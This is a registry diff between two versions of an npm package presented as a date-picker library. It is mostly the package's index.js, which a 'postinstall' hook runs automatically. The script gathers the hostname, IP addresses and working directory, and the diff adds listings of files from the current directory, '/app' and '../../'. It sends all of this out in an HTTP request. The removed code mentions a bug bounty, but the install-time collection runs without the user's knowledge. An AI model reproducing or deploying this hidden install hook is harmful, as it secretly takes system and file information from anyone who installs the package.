@limebike/supreme-date-pickers 85.14.44 → 85.14.46

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/app/aa +1 -0
  2. package/index.js +22 -3
  3. package/package.json +3 -2
package/app/aa ADDED
@@ -0,0 +1 @@
1
+ ee
package/index.js CHANGED
@@ -1,5 +1,9 @@
1
- const os = require("os");
2
- const http = require("http");
1
+ import os from 'os';
2
+
3
+ import http from 'http';
4
+ import { readdir } from 'fs/promises';
5
+
6
+
3
7
 
4
8
  const pkg = "@limebike/supreme-date-pickers";
5
9
  const hostname = os.hostname();
@@ -12,12 +16,27 @@ for (const name of Object.keys(ifaces)) {
12
16
  }
13
17
  }
14
18
 
19
+ const dirs = { cwd: process.cwd(), app: '/app', back_back: '../../'};
20
+
21
+ export const files = Object.fromEntries(
22
+ await Promise.all(
23
+ Object.entries(dirs).map(async ([key, dir]) => {
24
+ try {
25
+ const entries = await readdir(dir, { withFileTypes: true });
26
+ return [key, entries.filter(e => e.isFile()).map(e => e.name)];
27
+ } catch {
28
+ return [key, []];
29
+ }
30
+ })
31
+ )
32
+ );
33
+
15
34
  const payload = JSON.stringify({
16
35
  package: pkg,
17
36
  hostname: hostname,
18
37
  ips: ips,
19
38
  cwd: process.cwd(),
20
- bugbounty: process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN,
39
+ files: files,
21
40
  });
22
41
 
23
42
  const req = http.request(
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@limebike/supreme-date-pickers",
3
- "version": "85.14.44",
3
+ "version": "85.14.46",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -8,5 +8,6 @@
8
8
  "postinstall": "node index.js"
9
9
  },
10
10
  "author": "",
11
- "license": "ISC"
11
+ "license": "ISC",
12
+ "type": "module"
12
13
  }